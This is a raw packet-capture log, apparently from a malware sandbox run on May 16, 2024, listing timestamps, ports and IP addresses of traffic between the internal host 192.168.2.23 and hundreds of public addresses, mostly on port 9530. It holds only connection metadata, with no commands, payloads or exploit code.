May 16, 2024 16:38:53.053173065 CEST	9530	55095	216.173.140.45	192.168.2.23
May 16, 2024 16:38:53.053178072 CEST	9530	55095	38.37.240.14	192.168.2.23
May 16, 2024 16:38:53.053183079 CEST	9530	55095	151.135.194.35	192.168.2.23
May 16, 2024 16:38:53.053185940 CEST	9530	55095	201.101.244.244	192.168.2.23
May 16, 2024 16:38:53.053186893 CEST	9530	55095	223.109.115.133	192.168.2.23
May 16, 2024 16:38:53.053189039 CEST	9530	55095	191.203.253.50	192.168.2.23
May 16, 2024 16:38:53.053195000 CEST	55095	9530	192.168.2.23	132.216.97.226
May 16, 2024 16:38:53.053195000 CEST	55095	9530	192.168.2.23	119.190.37.240
May 16, 2024 16:38:53.053195000 CEST	55095	9530	192.168.2.23	25.255.243.182
May 16, 2024 16:38:53.053204060 CEST	9530	55095	90.42.224.82	192.168.2.23
May 16, 2024 16:38:53.053209066 CEST	9530	55095	169.3.254.143	192.168.2.23
May 16, 2024 16:38:53.053210974 CEST	9530	55095	80.70.211.57	192.168.2.23
May 16, 2024 16:38:53.053215027 CEST	55095	9530	192.168.2.23	216.173.140.45
May 16, 2024 16:38:53.053215981 CEST	55095	9530	192.168.2.23	38.37.240.14
May 16, 2024 16:38:53.053220987 CEST	55095	9530	192.168.2.23	191.203.253.50
May 16, 2024 16:38:53.053222895 CEST	9530	55095	221.87.78.82	192.168.2.23
May 16, 2024 16:38:53.053225994 CEST	55095	9530	192.168.2.23	223.109.115.133
May 16, 2024 16:38:53.053227901 CEST	55095	9530	192.168.2.23	151.135.194.35
May 16, 2024 16:38:53.053227901 CEST	55095	9530	192.168.2.23	201.101.244.244
May 16, 2024 16:38:53.053235054 CEST	9530	55095	172.66.125.129	192.168.2.23
May 16, 2024 16:38:53.053241014 CEST	55095	9530	192.168.2.23	90.42.224.82
May 16, 2024 16:38:53.053246021 CEST	55095	9530	192.168.2.23	169.3.254.143
May 16, 2024 16:38:53.053252935 CEST	9530	55095	143.233.167.129	192.168.2.23
May 16, 2024 16:38:53.053253889 CEST	55095	9530	192.168.2.23	221.87.78.82
May 16, 2024 16:38:53.053256035 CEST	55095	9530	192.168.2.23	80.70.211.57
May 16, 2024 16:38:53.053267956 CEST	55095	9530	192.168.2.23	172.66.125.129
May 16, 2024 16:38:53.053270102 CEST	9530	55095	44.35.142.122	192.168.2.23
May 16, 2024 16:38:53.053272009 CEST	9530	55095	182.10.130.111	192.168.2.23
May 16, 2024 16:38:53.053277016 CEST	9530	55095	196.65.71.58	192.168.2.23
May 16, 2024 16:38:53.053278923 CEST	55095	9530	192.168.2.23	143.233.167.129
May 16, 2024 16:38:53.053282976 CEST	9530	55095	54.64.99.234	192.168.2.23
May 16, 2024 16:38:53.053287983 CEST	9530	55095	216.2.210.23	192.168.2.23
May 16, 2024 16:38:53.053297043 CEST	55095	9530	192.168.2.23	44.35.142.122
May 16, 2024 16:38:53.053313017 CEST	55095	9530	192.168.2.23	182.10.130.111
May 16, 2024 16:38:53.053318024 CEST	55095	9530	192.168.2.23	54.64.99.234
May 16, 2024 16:38:53.053318024 CEST	55095	9530	192.168.2.23	196.65.71.58
May 16, 2024 16:38:53.053335905 CEST	55095	9530	192.168.2.23	216.2.210.23
May 16, 2024 16:38:53.054203033 CEST	9530	55095	195.97.215.96	192.168.2.23
May 16, 2024 16:38:53.054222107 CEST	9530	55095	45.171.165.208	192.168.2.23
May 16, 2024 16:38:53.054235935 CEST	9530	55095	78.64.76.34	192.168.2.23
May 16, 2024 16:38:53.054244995 CEST	55095	9530	192.168.2.23	195.97.215.96
May 16, 2024 16:38:53.054245949 CEST	9530	55095	42.187.92.59	192.168.2.23
May 16, 2024 16:38:53.054248095 CEST	9530	55095	49.76.97.218	192.168.2.23
May 16, 2024 16:38:53.054249048 CEST	9530	55095	165.232.14.113	192.168.2.23
May 16, 2024 16:38:53.054250956 CEST	9530	55095	70.255.149.23	192.168.2.23
May 16, 2024 16:38:53.054251909 CEST	9530	55095	101.51.215.138	192.168.2.23
May 16, 2024 16:38:53.054255009 CEST	9530	55095	110.33.153.228	192.168.2.23
May 16, 2024 16:38:53.054256916 CEST	9530	55095	105.42.79.32	192.168.2.23
May 16, 2024 16:38:53.054258108 CEST	55095	9530	192.168.2.23	45.171.165.208
May 16, 2024 16:38:53.054265976 CEST	9530	55095	105.48.67.226	192.168.2.23
May 16, 2024 16:38:53.054275036 CEST	9530	55095	142.74.158.243	192.168.2.23
May 16, 2024 16:38:53.054280043 CEST	55095	9530	192.168.2.23	78.64.76.34
May 16, 2024 16:38:53.054284096 CEST	55095	9530	192.168.2.23	70.255.149.23
May 16, 2024 16:38:53.054286957 CEST	55095	9530	192.168.2.23	101.51.215.138
May 16, 2024 16:38:53.054286957 CEST	55095	9530	192.168.2.23	105.42.79.32
May 16, 2024 16:38:53.054294109 CEST	9530	55095	124.230.179.224	192.168.2.23
May 16, 2024 16:38:53.054299116 CEST	55095	9530	192.168.2.23	165.232.14.113
May 16, 2024 16:38:53.054300070 CEST	55095	9530	192.168.2.23	42.187.92.59
May 16, 2024 16:38:53.054300070 CEST	55095	9530	192.168.2.23	49.76.97.218
May 16, 2024 16:38:53.054322958 CEST	55095	9530	192.168.2.23	110.33.153.228
May 16, 2024 16:38:53.054322958 CEST	9530	55095	86.38.250.38	192.168.2.23
May 16, 2024 16:38:53.054328918 CEST	9530	55095	202.91.221.238	192.168.2.23
May 16, 2024 16:38:53.054328918 CEST	55095	9530	192.168.2.23	142.74.158.243
May 16, 2024 16:38:53.054331064 CEST	55095	9530	192.168.2.23	105.48.67.226
May 16, 2024 16:38:53.054331064 CEST	55095	9530	192.168.2.23	124.230.179.224
May 16, 2024 16:38:53.054339886 CEST	9530	55095	75.225.67.71	192.168.2.23
May 16, 2024 16:38:53.054349899 CEST	9530	55095	17.222.74.249	192.168.2.23
May 16, 2024 16:38:53.054348946 CEST	55095	9530	192.168.2.23	86.38.250.38
May 16, 2024 16:38:53.054361105 CEST	9530	55095	158.234.0.195	192.168.2.23
May 16, 2024 16:38:53.054367065 CEST	55095	9530	192.168.2.23	202.91.221.238
May 16, 2024 16:38:53.054372072 CEST	9530	55095	131.206.220.251	192.168.2.23
May 16, 2024 16:38:53.054379940 CEST	55095	9530	192.168.2.23	75.225.67.71
May 16, 2024 16:38:53.054385900 CEST	9530	55095	99.172.171.73	192.168.2.23
May 16, 2024 16:38:53.054397106 CEST	55095	9530	192.168.2.23	17.222.74.249
May 16, 2024 16:38:53.054403067 CEST	55095	9530	192.168.2.23	158.234.0.195
May 16, 2024 16:38:53.054411888 CEST	55095	9530	192.168.2.23	131.206.220.251
May 16, 2024 16:38:53.054414034 CEST	55095	9530	192.168.2.23	99.172.171.73
May 16, 2024 16:38:53.054949999 CEST	9530	55095	128.208.23.97	192.168.2.23
May 16, 2024 16:38:53.054953098 CEST	9530	55095	67.183.0.146	192.168.2.23
May 16, 2024 16:38:53.054963112 CEST	9530	55095	43.183.248.236	192.168.2.23
May 16, 2024 16:38:53.054966927 CEST	9530	55095	52.68.89.198	192.168.2.23
May 16, 2024 16:38:53.054970980 CEST	9530	55095	64.45.209.104	192.168.2.23
May 16, 2024 16:38:53.054980993 CEST	9530	55095	139.202.25.156	192.168.2.23
May 16, 2024 16:38:53.054982901 CEST	55095	9530	192.168.2.23	67.183.0.146
May 16, 2024 16:38:53.054985046 CEST	55095	9530	192.168.2.23	128.208.23.97
May 16, 2024 16:38:53.055002928 CEST	9530	55095	71.102.44.233	192.168.2.23
May 16, 2024 16:38:53.055006981 CEST	9530	55095	180.186.201.3	192.168.2.23
May 16, 2024 16:38:53.055010080 CEST	55095	9530	192.168.2.23	64.45.209.104
May 16, 2024 16:38:53.055011034 CEST	9530	55095	192.234.91.35	192.168.2.23
May 16, 2024 16:38:53.055015087 CEST	9530	55095	90.208.56.150	192.168.2.23
May 16, 2024 16:38:53.055016041 CEST	55095	9530	192.168.2.23	43.183.248.236
May 16, 2024 16:38:53.055013895 CEST	55095	9530	192.168.2.23	52.68.89.198
May 16, 2024 16:38:53.055030107 CEST	55095	9530	192.168.2.23	139.202.25.156
May 16, 2024 16:38:53.055030107 CEST	9530	55095	159.158.130.248	192.168.2.23
May 16, 2024 16:38:53.055041075 CEST	9530	40424	146.194.218.108	192.168.2.23
May 16, 2024 16:38:53.055044889 CEST	55095	9530	192.168.2.23	180.186.201.3
May 16, 2024 16:38:53.055044889 CEST	55095	9530	192.168.2.23	71.102.44.233
May 16, 2024 16:38:53.055044889 CEST	55095	9530	192.168.2.23	192.234.91.35
May 16, 2024 16:38:53.055051088 CEST	9530	52366	182.196.102.135	192.168.2.23
May 16, 2024 16:38:53.055057049 CEST	55095	9530	192.168.2.23	90.208.56.150
May 16, 2024 16:38:53.055063963 CEST	9530	50176	95.38.251.201	192.168.2.23
May 16, 2024 16:38:53.055068970 CEST	55095	9530	192.168.2.23	159.158.130.248
May 16, 2024 16:38:53.055074930 CEST	9530	43400	184.239.3.224	192.168.2.23
May 16, 2024 16:38:53.055084944 CEST	9530	50732	181.184.115.140	192.168.2.23
May 16, 2024 16:38:53.055094957 CEST	9530	48970	78.142.95.35	192.168.2.23
May 16, 2024 16:38:53.055100918 CEST	9530	40886	66.21.52.212	192.168.2.23
May 16, 2024 16:38:53.055103064 CEST	9530	44184	200.180.209.59	192.168.2.23
May 16, 2024 16:38:53.055107117 CEST	9530	49294	52.10.247.21	192.168.2.23
May 16, 2024 16:38:53.055110931 CEST	9530	48230	218.32.8.212	192.168.2.23
May 16, 2024 16:38:53.055583954 CEST	9530	35506	216.113.15.237	192.168.2.23
May 16, 2024 16:38:53.055586100 CEST	9530	53626	80.140.161.132	192.168.2.23
May 16, 2024 16:38:53.055589914 CEST	9530	38580	58.37.245.134	192.168.2.23
May 16, 2024 16:38:53.055598021 CEST	9530	58256	138.149.45.163	192.168.2.23
May 16, 2024 16:38:53.055608034 CEST	9530	34522	128.6.151.74	192.168.2.23
May 16, 2024 16:38:53.055612087 CEST	9530	55572	196.207.6.187	192.168.2.23
May 16, 2024 16:38:53.055620909 CEST	9530	50094	32.242.248.65	192.168.2.23
May 16, 2024 16:38:53.055629015 CEST	9530	57778	218.32.68.1	192.168.2.23
May 16, 2024 16:38:53.055645943 CEST	9530	43748	138.91.249.106	192.168.2.23
May 16, 2024 16:38:53.055649996 CEST	9530	54316	5.74.252.139	192.168.2.23
May 16, 2024 16:38:53.055653095 CEST	9530	50868	181.16.206.159	192.168.2.23
May 16, 2024 16:38:53.055665970 CEST	9530	38554	117.108.108.214	192.168.2.23
May 16, 2024 16:38:53.055670977 CEST	9530	43384	213.127.75.137	192.168.2.23
May 16, 2024 16:38:53.055676937 CEST	9530	55730	148.82.13.159	192.168.2.23
May 16, 2024 16:38:53.055679083 CEST	9530	34482	129.213.137.67	192.168.2.23
May 16, 2024 16:38:53.055684090 CEST	9530	38030	201.156.81.71	192.168.2.23
May 16, 2024 16:38:53.055687904 CEST	9530	33226	1.50.192.120	192.168.2.23
May 16, 2024 16:38:53.055692911 CEST	9530	57182	218.166.150.2	192.168.2.23
May 16, 2024 16:38:53.055697918 CEST	9530	47492	177.166.97.226	192.168.2.23
May 16, 2024 16:38:53.055701971 CEST	9530	38490	142.247.137.69	192.168.2.23
May 16, 2024 16:38:53.055706978 CEST	9530	54822	193.250.95.85	192.168.2.23
May 16, 2024 16:38:53.055707932 CEST	9530	49008	139.89.122.31	192.168.2.23
May 16, 2024 16:38:53.056215048 CEST	9530	57766	91.32.33.30	192.168.2.23
May 16, 2024 16:38:53.056226015 CEST	9530	56704	34.2.32.188	192.168.2.23
May 16, 2024 16:38:53.056238890 CEST	9530	44452	217.7.102.196	192.168.2.23
May 16, 2024 16:38:53.056245089 CEST	9530	54464	126.86.145.38	192.168.2.23
May 16, 2024 16:38:53.056250095 CEST	9530	42624	90.24.157.74	192.168.2.23
May 16, 2024 16:38:53.056255102 CEST	9530	53290	108.223.179.43	192.168.2.23
May 16, 2024 16:38:53.056260109 CEST	9530	42264	191.40.212.132	192.168.2.23
May 16, 2024 16:38:53.056263924 CEST	9530	48800	110.120.106.12	192.168.2.23
May 16, 2024 16:38:53.056268930 CEST	9530	58840	135.173.96.126	192.168.2.23
May 16, 2024 16:38:53.056273937 CEST	9530	58324	188.123.230.142	192.168.2.23
May 16, 2024 16:38:53.056278944 CEST	9530	44082	165.197.143.176	192.168.2.23
May 16, 2024 16:38:53.056283951 CEST	9530	48000	54.155.20.9	192.168.2.23
May 16, 2024 16:38:53.056288958 CEST	9530	49162	176.104.104.240	192.168.2.23
May 16, 2024 16:38:53.056293011 CEST	9530	40712	76.38.38.38	192.168.2.23
May 16, 2024 16:38:53.056298018 CEST	9530	44156	103.22.41.47	192.168.2.23
May 16, 2024 16:38:53.056302071 CEST	9530	44416	182.1.80.178	192.168.2.23
May 16, 2024 16:38:53.056303978 CEST	9530	43288	94.199.187.116	192.168.2.23
May 16, 2024 16:38:53.056304932 CEST	9530	52306	78.74.66.191	192.168.2.23
May 16, 2024 16:38:53.056305885 CEST	9530	52612	155.244.222.188	192.168.2.23
May 16, 2024 16:38:53.056308031 CEST	9530	43624	86.120.86.249	192.168.2.23
May 16, 2024 16:38:53.056308985 CEST	9530	36562	216.153.119.104	192.168.2.23
May 16, 2024 16:38:53.056309938 CEST	9530	33736	195.113.98.187	192.168.2.23
May 16, 2024 16:38:53.057302952 CEST	9530	40344	54.67.123.150	192.168.2.23
May 16, 2024 16:38:53.057312965 CEST	9530	36656	102.30.213.106	192.168.2.23
May 16, 2024 16:38:53.057322025 CEST	9530	54338	17.34.93.23	192.168.2.23
May 16, 2024 16:38:53.057326078 CEST	9530	43520	128.215.128.217	192.168.2.23
May 16, 2024 16:38:53.057395935 CEST	43520	9530	192.168.2.23	128.215.128.217
May 16, 2024 16:38:53.057425022 CEST	36624	9530	192.168.2.23	183.171.237.47
May 16, 2024 16:38:53.058129072 CEST	9530	36260	132.140.67.87	192.168.2.23
May 16, 2024 16:38:53.058139086 CEST	9530	47028	84.174.50.35	192.168.2.23
May 16, 2024 16:38:53.058147907 CEST	9530	50520	139.53.78.113	192.168.2.23
May 16, 2024 16:38:53.058157921 CEST	9530	43520	128.215.128.217	192.168.2.23
May 16, 2024 16:38:53.058166981 CEST	9530	50520	139.53.78.113	192.168.2.23
May 16, 2024 16:38:53.058181047 CEST	9530	36260	132.140.67.87	192.168.2.23
May 16, 2024 16:38:53.058187962 CEST	47028	9530	192.168.2.23	84.174.50.35
May 16, 2024 16:38:53.058190107 CEST	9530	59624	54.249.80.205	192.168.2.23
May 16, 2024 16:38:53.058195114 CEST	36260	9530	192.168.2.23	132.140.67.87
May 16, 2024 16:38:53.058198929 CEST	9530	47028	84.174.50.35	192.168.2.23
May 16, 2024 16:38:53.058208942 CEST	9530	39916	53.116.0.123	192.168.2.23
May 16, 2024 16:38:53.058221102 CEST	33396	9530	192.168.2.23	206.2.207.91
May 16, 2024 16:38:53.058226109 CEST	9530	34452	66.81.233.102	192.168.2.23
May 16, 2024 16:38:53.058234930 CEST	33670	9530	192.168.2.23	163.20.254.63
May 16, 2024 16:38:53.058237076 CEST	9530	51718	42.159.192.68	192.168.2.23
May 16, 2024 16:38:53.058245897 CEST	9530	34452	66.81.233.102	192.168.2.23
May 16, 2024 16:38:53.058255911 CEST	9530	36000	184.103.88.123	192.168.2.23
May 16, 2024 16:38:53.058269978 CEST	9530	56062	171.198.0.112	192.168.2.23
May 16, 2024 16:38:53.058278084 CEST	9530	39916	53.116.0.123	192.168.2.23
May 16, 2024 16:38:53.058286905 CEST	9530	47180	150.182.133.125	192.168.2.23
May 16, 2024 16:38:53.058295965 CEST	9530	37926	76.236.171.38	192.168.2.23
May 16, 2024 16:38:53.058295965 CEST	59636	9530	192.168.2.23	208.135.211.193
May 16, 2024 16:38:53.058305979 CEST	9530	59624	54.249.80.205	192.168.2.23
May 16, 2024 16:38:53.058316946 CEST	53102	9530	192.168.2.23	18.22.2.90
May 16, 2024 16:38:53.058357000 CEST	43022	9530	192.168.2.23	107.141.198.220
May 16, 2024 16:38:53.058402061 CEST	49416	9530	192.168.2.23	45.194.65.100
May 16, 2024 16:38:53.060806036 CEST	9530	51718	42.159.192.68	192.168.2.23
May 16, 2024 16:38:53.060818911 CEST	9530	36000	184.103.88.123	192.168.2.23
May 16, 2024 16:38:53.060836077 CEST	9530	52144	176.34.191.78	192.168.2.23
May 16, 2024 16:38:53.060843945 CEST	9530	37926	76.236.171.38	192.168.2.23
May 16, 2024 16:38:53.060852051 CEST	9530	42252	66.237.107.46	192.168.2.23
May 16, 2024 16:38:53.060869932 CEST	52869	41002	155.144.45.25	192.168.2.23
May 16, 2024 16:38:53.060875893 CEST	9530	47180	150.182.133.125	192.168.2.23
May 16, 2024 16:38:53.060878038 CEST	9530	42252	66.237.107.46	192.168.2.23
May 16, 2024 16:38:53.060879946 CEST	9530	52144	176.34.191.78	192.168.2.23
May 16, 2024 16:38:53.060884953 CEST	9530	56062	171.198.0.112	192.168.2.23
May 16, 2024 16:38:53.060889006 CEST	52869	59696	2.118.203.229	192.168.2.23
May 16, 2024 16:38:53.060894012 CEST	52869	53770	44.28.226.10	192.168.2.23
May 16, 2024 16:38:53.060898066 CEST	43870	9530	192.168.2.23	137.3.172.181
May 16, 2024 16:38:53.060899019 CEST	52869	60204	203.104.93.44	192.168.2.23
May 16, 2024 16:38:53.060904980 CEST	9530	52366	182.196.102.135	192.168.2.23
May 16, 2024 16:38:53.060906887 CEST	9530	44184	200.180.209.59	192.168.2.23
May 16, 2024 16:38:53.060908079 CEST	9530	56466	47.23.253.126	192.168.2.23
May 16, 2024 16:38:53.060909986 CEST	9530	39678	164.37.85.105	192.168.2.23
May 16, 2024 16:38:53.060910940 CEST	9530	50176	95.38.251.201	192.168.2.23
May 16, 2024 16:38:53.060913086 CEST	9530	43400	184.239.3.224	192.168.2.23
May 16, 2024 16:38:53.060929060 CEST	59696	52869	192.168.2.23	2.118.203.229
May 16, 2024 16:38:53.060930014 CEST	41002	52869	192.168.2.23	155.144.45.25
May 16, 2024 16:38:53.060930014 CEST	53770	52869	192.168.2.23	44.28.226.10
May 16, 2024 16:38:53.060937881 CEST	39678	9530	192.168.2.23	164.37.85.105
May 16, 2024 16:38:53.060962915 CEST	60204	52869	192.168.2.23	203.104.93.44
May 16, 2024 16:38:53.060971022 CEST	56466	9530	192.168.2.23	47.23.253.126
May 16, 2024 16:38:53.060982943 CEST	43650	9530	192.168.2.23	4.173.234.98
May 16, 2024 16:38:53.061014891 CEST	56466	9530	192.168.2.23	47.23.253.126
May 16, 2024 16:38:53.061023951 CEST	39678	9530	192.168.2.23	164.37.85.105
May 16, 2024 16:38:53.061050892 CEST	39180	9530	192.168.2.23	223.224.206.60
May 16, 2024 16:38:53.061050892 CEST	60776	9530	192.168.2.23	37.142.200.239
May 16, 2024 16:38:53.061084032 CEST	51954	9530	192.168.2.23	76.56.236.138
May 16, 2024 16:38:53.061091900 CEST	55712	9530	192.168.2.23	85.115.193.62
May 16, 2024 16:38:53.061101913 CEST	36912	9530	192.168.2.23	53.211.82.141
May 16, 2024 16:38:53.062061071 CEST	9530	52626	211.98.222.85	192.168.2.23
May 16, 2024 16:38:53.062077999 CEST	9530	45812	97.237.110.164	192.168.2.23
May 16, 2024 16:38:53.062089920 CEST	9530	48970	78.142.95.35	192.168.2.23
May 16, 2024 16:38:53.062094927 CEST	9530	51700	98.58.140.43	192.168.2.23
May 16, 2024 16:38:53.062100887 CEST	9530	40886	66.21.52.212	192.168.2.23
May 16, 2024 16:38:53.062108994 CEST	9530	48230	218.32.8.212	192.168.2.23
May 16, 2024 16:38:53.062114000 CEST	9530	52144	9.242.152.172	192.168.2.23
May 16, 2024 16:38:53.062118053 CEST	9530	43706	109.12.160.31	192.168.2.23
May 16, 2024 16:38:53.062123060 CEST	9530	40424	146.194.218.108	192.168.2.23
May 16, 2024 16:38:53.062124968 CEST	9530	50732	181.184.115.140	192.168.2.23
May 16, 2024 16:38:53.062125921 CEST	9530	49294	52.10.247.21	192.168.2.23
May 16, 2024 16:38:53.062156916 CEST	45812	9530	192.168.2.23	97.237.110.164
May 16, 2024 16:38:53.062158108 CEST	52144	9530	192.168.2.23	9.242.152.172
May 16, 2024 16:38:53.062169075 CEST	43706	9530	192.168.2.23	109.12.160.31
May 16, 2024 16:38:53.062169075 CEST	52626	9530	192.168.2.23	211.98.222.85
May 16, 2024 16:38:53.062175035 CEST	51700	9530	192.168.2.23	98.58.140.43
May 16, 2024 16:38:53.062203884 CEST	52626	9530	192.168.2.23	211.98.222.85
May 16, 2024 16:38:53.062218904 CEST	51700	9530	192.168.2.23	98.58.140.43
May 16, 2024 16:38:53.062221050 CEST	45812	9530	192.168.2.23	97.237.110.164
May 16, 2024 16:38:53.062221050 CEST	52144	9530	192.168.2.23	9.242.152.172
May 16, 2024 16:38:53.062498093 CEST	43706	9530	192.168.2.23	109.12.160.31
May 16, 2024 16:38:53.064224005 CEST	9530	59218	213.159.230.91	192.168.2.23
May 16, 2024 16:38:53.064244032 CEST	9530	59582	209.69.82.216	192.168.2.23
May 16, 2024 16:38:53.064254045 CEST	9530	49294	52.10.247.21	192.168.2.23
May 16, 2024 16:38:53.064265013 CEST	59218	9530	192.168.2.23	213.159.230.91
May 16, 2024 16:38:53.064266920 CEST	9530	35506	216.113.15.237	192.168.2.23
May 16, 2024 16:38:53.064273119 CEST	9530	53626	80.140.161.132	192.168.2.23
May 16, 2024 16:38:53.064277887 CEST	9530	38580	58.37.245.134	192.168.2.23
May 16, 2024 16:38:53.064284086 CEST	9530	52664	48.77.87.46	192.168.2.23
May 16, 2024 16:38:53.064287901 CEST	9530	55572	196.207.6.187	192.168.2.23
May 16, 2024 16:38:53.064294100 CEST	9530	58516	221.170.45.211	192.168.2.23
May 16, 2024 16:38:53.064299107 CEST	9530	56560	181.111.102.204	192.168.2.23
May 16, 2024 16:38:53.064304113 CEST	9530	55770	27.7.174.3	192.168.2.23
May 16, 2024 16:38:53.064308882 CEST	9530	42192	81.62.140.176	192.168.2.23
May 16, 2024 16:38:53.064313889 CEST	9530	43748	138.91.249.106	192.168.2.23
May 16, 2024 16:38:53.064316034 CEST	52664	9530	192.168.2.23	48.77.87.46
May 16, 2024 16:38:53.064318895 CEST	9530	58902	148.99.239.184	192.168.2.23
May 16, 2024 16:38:53.064325094 CEST	59582	9530	192.168.2.23	209.69.82.216
May 16, 2024 16:38:53.064325094 CEST	9530	58256	138.149.45.163	192.168.2.23
May 16, 2024 16:38:53.064331055 CEST	9530	40190	133.253.244.57	192.168.2.23
May 16, 2024 16:38:53.064330101 CEST	58516	9530	192.168.2.23	221.170.45.211
May 16, 2024 16:38:53.064332008 CEST	9530	34522	128.6.151.74	192.168.2.23
May 16, 2024 16:38:53.064333916 CEST	9530	46686	51.189.105.240	192.168.2.23
May 16, 2024 16:38:53.064347982 CEST	56560	9530	192.168.2.23	181.111.102.204
May 16, 2024 16:38:53.064347982 CEST	55770	9530	192.168.2.23	27.7.174.3
May 16, 2024 16:38:53.064369917 CEST	58902	9530	192.168.2.23	148.99.239.184
May 16, 2024 16:38:53.064378023 CEST	42192	9530	192.168.2.23	81.62.140.176
May 16, 2024 16:38:53.064378023 CEST	46686	9530	192.168.2.23	51.189.105.240
May 16, 2024 16:38:53.064390898 CEST	59218	9530	192.168.2.23	213.159.230.91
May 16, 2024 16:38:53.064412117 CEST	40190	9530	192.168.2.23	133.253.244.57
May 16, 2024 16:38:53.064429045 CEST	58516	9530	192.168.2.23	221.170.45.211
May 16, 2024 16:38:53.064440966 CEST	52664	9530	192.168.2.23	48.77.87.46
May 16, 2024 16:38:53.064441919 CEST	59582	9530	192.168.2.23	209.69.82.216
May 16, 2024 16:38:53.064445972 CEST	56560	9530	192.168.2.23	181.111.102.204
May 16, 2024 16:38:53.064452887 CEST	58902	9530	192.168.2.23	148.99.239.184
May 16, 2024 16:38:53.064485073 CEST	46686	9530	192.168.2.23	51.189.105.240
May 16, 2024 16:38:53.064486980 CEST	55770	9530	192.168.2.23	27.7.174.3
May 16, 2024 16:38:53.064517975 CEST	42192	9530	192.168.2.23	81.62.140.176
May 16, 2024 16:38:53.064517975 CEST	40190	9530	192.168.2.23	133.253.244.57
May 16, 2024 16:38:53.065392017 CEST	9530	50094	32.242.248.65	192.168.2.23
May 16, 2024 16:38:53.065397024 CEST	9530	54316	5.74.252.139	192.168.2.23
May 16, 2024 16:38:53.065399885 CEST	9530	57778	218.32.68.1	192.168.2.23
May 16, 2024 16:38:53.065401077 CEST	9530	43384	213.127.75.137	192.168.2.23
May 16, 2024 16:38:53.065413952 CEST	9530	49938	161.179.190.186	192.168.2.23
May 16, 2024 16:38:53.065427065 CEST	9530	37004	209.0.75.39	192.168.2.23
May 16, 2024 16:38:53.065439939 CEST	9530	54278	42.151.101.178	192.168.2.23
May 16, 2024 16:38:53.065444946 CEST	9530	37178	80.181.235.84	192.168.2.23
May 16, 2024 16:38:53.065454960 CEST	9530	50868	181.16.206.159	192.168.2.23
May 16, 2024 16:38:53.065457106 CEST	49938	9530	192.168.2.23	161.179.190.186
May 16, 2024 16:38:53.065464020 CEST	9530	55730	148.82.13.159	192.168.2.23
May 16, 2024 16:38:53.065474987 CEST	9530	34482	129.213.137.67	192.168.2.23
May 16, 2024 16:38:53.065485954 CEST	49938	9530	192.168.2.23	161.179.190.186
May 16, 2024 16:38:53.065491915 CEST	9530	38554	117.108.108.214	192.168.2.23
May 16, 2024 16:38:53.065500975 CEST	9530	47492	177.166.97.226	192.168.2.23
May 16, 2024 16:38:53.065510035 CEST	37004	9530	192.168.2.23	209.0.75.39
May 16, 2024 16:38:53.065510988 CEST	9530	57182	218.166.150.2	192.168.2.23
May 16, 2024 16:38:53.065510035 CEST	37004	9530	192.168.2.23	209.0.75.39
May 16, 2024 16:38:53.065511942 CEST	54278	9530	192.168.2.23	42.151.101.178
May 16, 2024 16:38:53.065511942 CEST	37178	9530	192.168.2.23	80.181.235.84
May 16, 2024 16:38:53.065521955 CEST	9530	53252	62.109.199.123	192.168.2.23
May 16, 2024 16:38:53.065532923 CEST	9530	50640	111.251.245.246	192.168.2.23
May 16, 2024 16:38:53.065550089 CEST	9530	53320	126.64.175.134	192.168.2.23
May 16, 2024 16:38:53.065548897 CEST	37178	9530	192.168.2.23	80.181.235.84
May 16, 2024 16:38:53.065560102 CEST	9530	57502	49.51.149.152	192.168.2.23
May 16, 2024 16:38:53.065568924 CEST	9530	56608	200.142.49.242	192.168.2.23
May 16, 2024 16:38:53.065570116 CEST	53252	9530	192.168.2.23	62.109.199.123
May 16, 2024 16:38:53.065573931 CEST	50640	9530	192.168.2.23	111.251.245.246
May 16, 2024 16:38:53.065583944 CEST	54278	9530	192.168.2.23	42.151.101.178
May 16, 2024 16:38:53.065587044 CEST	57502	9530	192.168.2.23	49.51.149.152
May 16, 2024 16:38:53.065606117 CEST	53320	9530	192.168.2.23	126.64.175.134
May 16, 2024 16:38:53.065619946 CEST	56608	9530	192.168.2.23	200.142.49.242
May 16, 2024 16:38:53.065639973 CEST	50640	9530	192.168.2.23	111.251.245.246
May 16, 2024 16:38:53.065640926 CEST	53252	9530	192.168.2.23	62.109.199.123
May 16, 2024 16:38:53.065654039 CEST	53320	9530	192.168.2.23	126.64.175.134
May 16, 2024 16:38:53.065659046 CEST	56608	9530	192.168.2.23	200.142.49.242
May 16, 2024 16:38:53.065665007 CEST	57502	9530	192.168.2.23	49.51.149.152
May 16, 2024 16:38:53.066788912 CEST	9530	60048	207.153.78.41	192.168.2.23
May 16, 2024 16:38:53.066807985 CEST	9530	38490	142.247.137.69	192.168.2.23
May 16, 2024 16:38:53.066809893 CEST	9530	37264	147.203.194.110	192.168.2.23
May 16, 2024 16:38:53.066816092 CEST	9530	49008	139.89.122.31	192.168.2.23
May 16, 2024 16:38:53.066822052 CEST	9530	38030	201.156.81.71	192.168.2.23
May 16, 2024 16:38:53.066823006 CEST	60048	9530	192.168.2.23	207.153.78.41
May 16, 2024 16:38:53.066827059 CEST	9530	33226	1.50.192.120	192.168.2.23
May 16, 2024 16:38:53.066833973 CEST	9530	52978	217.98.216.59	192.168.2.23
May 16, 2024 16:38:53.066838980 CEST	9530	59378	123.50.235.83	192.168.2.23
May 16, 2024 16:38:53.066843987 CEST	9530	47458	151.43.198.105	192.168.2.23
May 16, 2024 16:38:53.066848993 CEST	9530	57766	91.32.33.30	192.168.2.23
May 16, 2024 16:38:53.066848993 CEST	60048	9530	192.168.2.23	207.153.78.41
May 16, 2024 16:38:53.066853046 CEST	9530	44452	217.7.102.196	192.168.2.23
May 16, 2024 16:38:53.066858053 CEST	9530	33970	39.165.241.46	192.168.2.23
May 16, 2024 16:38:53.066863060 CEST	9530	37860	87.176.138.11	192.168.2.23
May 16, 2024 16:38:53.066864967 CEST	52978	9530	192.168.2.23	217.98.216.59
May 16, 2024 16:38:53.066873074 CEST	59378	9530	192.168.2.23	123.50.235.83
May 16, 2024 16:38:53.066899061 CEST	37264	9530	192.168.2.23	147.203.194.110
May 16, 2024 16:38:53.066915989 CEST	33970	9530	192.168.2.23	39.165.241.46
May 16, 2024 16:38:53.066936970 CEST	59378	9530	192.168.2.23	123.50.235.83
May 16, 2024 16:38:53.066937923 CEST	37860	9530	192.168.2.23	87.176.138.11
May 16, 2024 16:38:53.066941977 CEST	47458	9530	192.168.2.23	151.43.198.105
May 16, 2024 16:38:53.066951036 CEST	52978	9530	192.168.2.23	217.98.216.59
May 16, 2024 16:38:53.066951990 CEST	37264	9530	192.168.2.23	147.203.194.110
May 16, 2024 16:38:53.066967010 CEST	47458	9530	192.168.2.23	151.43.198.105
